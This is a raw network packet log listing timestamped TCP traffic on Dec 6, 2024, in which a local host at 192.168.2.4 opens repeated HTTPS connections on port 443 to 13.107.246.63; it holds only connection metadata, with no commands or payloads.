Dec 6, 2024 00:16:44.530930996 CET	443	50093	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:44.530961037 CET	50094	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:44.530992985 CET	50093	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:44.531008959 CET	443	50094	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:44.531054020 CET	50094	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:44.531310081 CET	50093	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:44.531323910 CET	443	50093	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:44.531404018 CET	50094	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:44.531419992 CET	443	50094	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:44.532360077 CET	50095	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:44.532367945 CET	443	50095	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:44.532422066 CET	50095	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:44.532531023 CET	50095	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:44.532538891 CET	443	50095	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:44.533584118 CET	50096	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:44.533598900 CET	443	50096	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:44.533644915 CET	50096	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:44.533801079 CET	50096	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:44.533811092 CET	443	50096	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:45.494632959 CET	443	50092	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:45.495121002 CET	50092	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:45.495165110 CET	443	50092	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:45.495579958 CET	50092	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:45.495588064 CET	443	50092	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:45.923625946 CET	443	50092	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:45.927150011 CET	443	50092	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:45.927187920 CET	443	50092	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:45.927213907 CET	50092	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:45.927262068 CET	50092	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:45.932586908 CET	50092	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:45.932610989 CET	443	50092	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:45.932630062 CET	50092	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:45.932636023 CET	443	50092	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:45.935338974 CET	50097	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:45.935369015 CET	443	50097	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:45.935451031 CET	50097	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:45.935589075 CET	50097	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:45.935600042 CET	443	50097	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:46.252626896 CET	443	50096	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:46.253850937 CET	443	50094	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:46.254437923 CET	443	50093	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:46.254539013 CET	443	50095	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:46.265880108 CET	50096	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:46.265907049 CET	443	50096	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:46.266334057 CET	50096	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:46.266339064 CET	443	50096	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:46.266623020 CET	50094	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:46.266650915 CET	443	50094	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:46.267055035 CET	50094	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:46.267060995 CET	443	50094	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:46.267287016 CET	50093	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:46.267302036 CET	443	50093	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:46.267632008 CET	50093	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:46.267637968 CET	443	50093	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:46.267879009 CET	50095	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:46.267889977 CET	443	50095	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:46.268235922 CET	50095	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:46.268239021 CET	443	50095	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:46.686362982 CET	443	50096	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:46.689537048 CET	443	50096	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:46.689575911 CET	443	50096	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:46.689714909 CET	50096	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:46.689714909 CET	50096	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:46.691304922 CET	443	50094	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:46.694299936 CET	443	50094	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:46.694355965 CET	50094	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:46.696382999 CET	443	50093	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:46.697419882 CET	443	50095	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:46.697470903 CET	443	50095	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:46.697516918 CET	50095	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:46.699516058 CET	443	50093	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:46.699561119 CET	50093	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:46.779381990 CET	50096	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:46.779398918 CET	443	50096	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:46.779412031 CET	50096	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:46.779417038 CET	443	50096	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:46.779522896 CET	50094	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:46.779542923 CET	443	50094	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:46.779572964 CET	50094	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:46.779578924 CET	443	50094	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:46.792218924 CET	50093	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:46.792233944 CET	443	50093	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:46.792243004 CET	50093	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:46.792248964 CET	443	50093	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:46.796276093 CET	50095	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:46.796281099 CET	443	50095	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:46.796288967 CET	50095	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:46.796292067 CET	443	50095	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:47.339082003 CET	50098	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:47.339116096 CET	443	50098	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:47.339176893 CET	50098	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:47.354753971 CET	50099	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:47.354788065 CET	443	50099	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:47.354840994 CET	50099	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:47.356076002 CET	50098	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:47.356090069 CET	443	50098	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:47.357594013 CET	50099	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:47.357605934 CET	443	50099	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:47.358772039 CET	50100	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:47.358793974 CET	443	50100	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:47.358853102 CET	50100	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:47.359049082 CET	50100	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:47.359060049 CET	443	50100	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:47.360029936 CET	50101	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:47.360064983 CET	443	50101	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:47.360119104 CET	50101	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:47.366224051 CET	50101	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:47.366238117 CET	443	50101	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:47.651438951 CET	443	50097	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:47.658941984 CET	50097	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:47.658956051 CET	443	50097	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:47.659394979 CET	50097	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:47.659399033 CET	443	50097	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:48.081933022 CET	443	50097	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:48.084875107 CET	443	50097	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:48.088922977 CET	50097	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:48.089008093 CET	50097	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:48.089020014 CET	443	50097	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:48.089044094 CET	50097	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:48.089047909 CET	443	50097	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:48.092736959 CET	50102	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:48.092766047 CET	443	50102	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:48.092856884 CET	50102	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:48.092976093 CET	50102	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:48.092988968 CET	443	50102	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:49.085603952 CET	443	50099	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:49.086642027 CET	443	50100	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:49.087368965 CET	50099	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:49.087393999 CET	443	50099	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:49.087802887 CET	443	50098	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:49.087873936 CET	50099	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:49.087878942 CET	443	50099	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:49.088201046 CET	50100	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:49.088224888 CET	443	50100	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:49.088601112 CET	50100	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:49.088604927 CET	443	50100	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:49.088963985 CET	50098	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:49.088992119 CET	443	50098	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:49.089340925 CET	50098	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:49.089345932 CET	443	50098	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:49.095901966 CET	443	50101	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:49.096204042 CET	50101	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:49.096221924 CET	443	50101	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:49.096571922 CET	50101	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:49.096576929 CET	443	50101	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:49.519661903 CET	443	50098	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:49.519686937 CET	443	50099	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:49.519753933 CET	443	50099	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:49.519906998 CET	50099	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:49.520044088 CET	443	50100	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:49.520808935 CET	443	50098	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:49.520862103 CET	50098	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:49.523132086 CET	443	50100	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:49.523171902 CET	443	50100	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:49.523179054 CET	50100	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:49.523214102 CET	50100	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:49.532454967 CET	443	50101	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:49.536114931 CET	443	50101	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:49.536279917 CET	50101	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:49.602848053 CET	50098	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:49.602848053 CET	50098	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:49.602869987 CET	443	50098	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:49.602884054 CET	443	50098	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:49.606508970 CET	50099	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:49.606528997 CET	443	50099	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:49.606539011 CET	50099	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:49.606544018 CET	443	50099	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:49.607816935 CET	50100	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:49.607832909 CET	443	50100	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:49.607844114 CET	50100	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:49.607851028 CET	443	50100	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:49.755422115 CET	50101	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:49.755451918 CET	443	50101	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:49.755462885 CET	50101	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:49.755469084 CET	443	50101	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:49.860488892 CET	443	50102	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:50.016702890 CET	50102	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:50.016721010 CET	443	50102	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:50.017612934 CET	50102	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:50.017617941 CET	443	50102	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:50.335453987 CET	443	50102	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:50.338701010 CET	443	50102	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:50.338753939 CET	50102	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:50.424364090 CET	50102	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:50.424379110 CET	443	50102	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:50.424393892 CET	50102	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:50.424398899 CET	443	50102	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:50.454804897 CET	50103	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:50.454858065 CET	443	50103	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:50.454916954 CET	50103	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:50.456099033 CET	50104	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:50.456131935 CET	443	50104	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:50.456201077 CET	50104	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:50.458458900 CET	50105	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:50.458502054 CET	443	50105	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:50.458564043 CET	50105	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:50.459511995 CET	50106	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:50.459518909 CET	443	50106	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:50.459570885 CET	50106	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:50.460773945 CET	50107	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:50.460782051 CET	443	50107	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:50.460834026 CET	50107	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:50.460936069 CET	50103	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:50.460948944 CET	443	50103	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:50.461028099 CET	50107	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:50.461041927 CET	443	50107	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:50.461106062 CET	50104	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:50.461114883 CET	443	50104	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:50.461411953 CET	50105	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:50.461422920 CET	443	50105	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:50.461508989 CET	50106	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:50.461515903 CET	443	50106	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:52.178740025 CET	443	50104	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:52.178749084 CET	443	50107	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:52.179433107 CET	50104	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:52.179461002 CET	443	50104	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:52.179620981 CET	50107	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:52.179653883 CET	443	50107	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:52.179784060 CET	443	50103	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:52.179969072 CET	50104	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:52.179975986 CET	443	50104	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:52.180027008 CET	50107	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:52.180032969 CET	443	50107	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:52.180399895 CET	50103	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:52.180414915 CET	443	50103	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:52.180715084 CET	50103	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:52.180720091 CET	443	50103	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:52.181371927 CET	443	50106	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:52.181524038 CET	443	50105	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:52.181799889 CET	50106	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:52.181806087 CET	443	50106	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:52.182177067 CET	50106	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:52.182179928 CET	443	50106	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:52.182259083 CET	50105	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:52.182271004 CET	443	50105	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:52.182595968 CET	50105	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:52.182602882 CET	443	50105	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:52.611721039 CET	443	50104	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:52.612246037 CET	443	50103	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:52.612881899 CET	443	50107	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:52.615592003 CET	443	50103	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:52.615633011 CET	443	50104	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:52.615678072 CET	443	50104	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:52.615751028 CET	50103	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:52.615751028 CET	50103	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:52.615757942 CET	50104	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:52.615757942 CET	50104	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:52.615823030 CET	443	50107	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:52.615853071 CET	50103	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:52.615868092 CET	443	50103	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:52.615869045 CET	50107	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:52.617121935 CET	50104	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:52.617139101 CET	443	50104	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:52.617151022 CET	50104	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:52.617156982 CET	443	50104	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:52.617583990 CET	443	50105	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:52.617935896 CET	50107	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:52.617957115 CET	443	50107	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:52.617966890 CET	50107	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:52.617973089 CET	443	50107	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:52.620222092 CET	50108	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:52.620248079 CET	443	50108	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:52.620302916 CET	50108	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:52.621505022 CET	50109	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:52.621537924 CET	443	50109	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:52.621576071 CET	443	50105	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:52.621601105 CET	50109	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:52.621639013 CET	50105	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:52.621649027 CET	50108	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:52.621660948 CET	443	50108	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:52.622034073 CET	50109	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:52.622049093 CET	443	50109	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:52.622066021 CET	50105	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:52.622071028 CET	443	50105	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:52.622080088 CET	50105	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:52.622083902 CET	443	50105	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:52.623877048 CET	50110	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:52.623888016 CET	443	50110	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:52.623953104 CET	50110	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:52.624072075 CET	50110	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:52.624078989 CET	443	50110	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:52.624535084 CET	50111	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:52.624543905 CET	443	50111	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:52.624588966 CET	50111	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:52.624684095 CET	50111	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:52.624696970 CET	443	50111	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:52.660692930 CET	443	50106	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:52.663904905 CET	443	50106	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:52.664081097 CET	50106	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:52.664081097 CET	50106	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:52.664081097 CET	50106	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:52.665790081 CET	50112	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:52.665801048 CET	443	50112	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:52.665851116 CET	50112	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:52.665958881 CET	50112	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:52.665971041 CET	443	50112	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:53.017873049 CET	50106	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:53.017901897 CET	443	50106	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:54.360959053 CET	443	50109	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:54.361180067 CET	443	50108	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:54.362101078 CET	50109	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:54.362113953 CET	443	50109	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:54.363457918 CET	50109	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:54.363466024 CET	443	50109	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:54.363538027 CET	443	50110	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:54.364335060 CET	443	50111	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:54.365008116 CET	50110	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:54.365020037 CET	443	50110	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:54.365420103 CET	50110	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:54.365423918 CET	443	50110	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:54.365504026 CET	50111	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:54.365519047 CET	443	50111	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:54.365833998 CET	50111	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:54.365843058 CET	443	50111	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:54.365900040 CET	50108	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:54.365906954 CET	443	50108	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:54.366209030 CET	50108	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:54.366211891 CET	443	50108	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:54.376322031 CET	443	50112	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:54.376657963 CET	50112	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:54.376667976 CET	443	50112	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:54.376912117 CET	50112	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:54.376916885 CET	443	50112	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:54.800091982 CET	443	50108	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:54.800740004 CET	443	50110	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:54.800815105 CET	443	50109	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:54.803837061 CET	443	50108	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:54.803883076 CET	443	50108	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:54.803914070 CET	443	50109	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:54.803926945 CET	50108	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:54.804024935 CET	443	50110	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:54.804059982 CET	50108	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:54.804076910 CET	50109	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:54.804137945 CET	50110	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:54.804225922 CET	50109	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:54.804238081 CET	443	50109	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:54.804275036 CET	50108	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:54.804286957 CET	443	50108	13.107.246.63	192.168.2.4
Dec 6, 2024 00:16:54.804311037 CET	50109	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:16:54.804317951 CET	443	50109	13.107.246.63	192.168.2.4
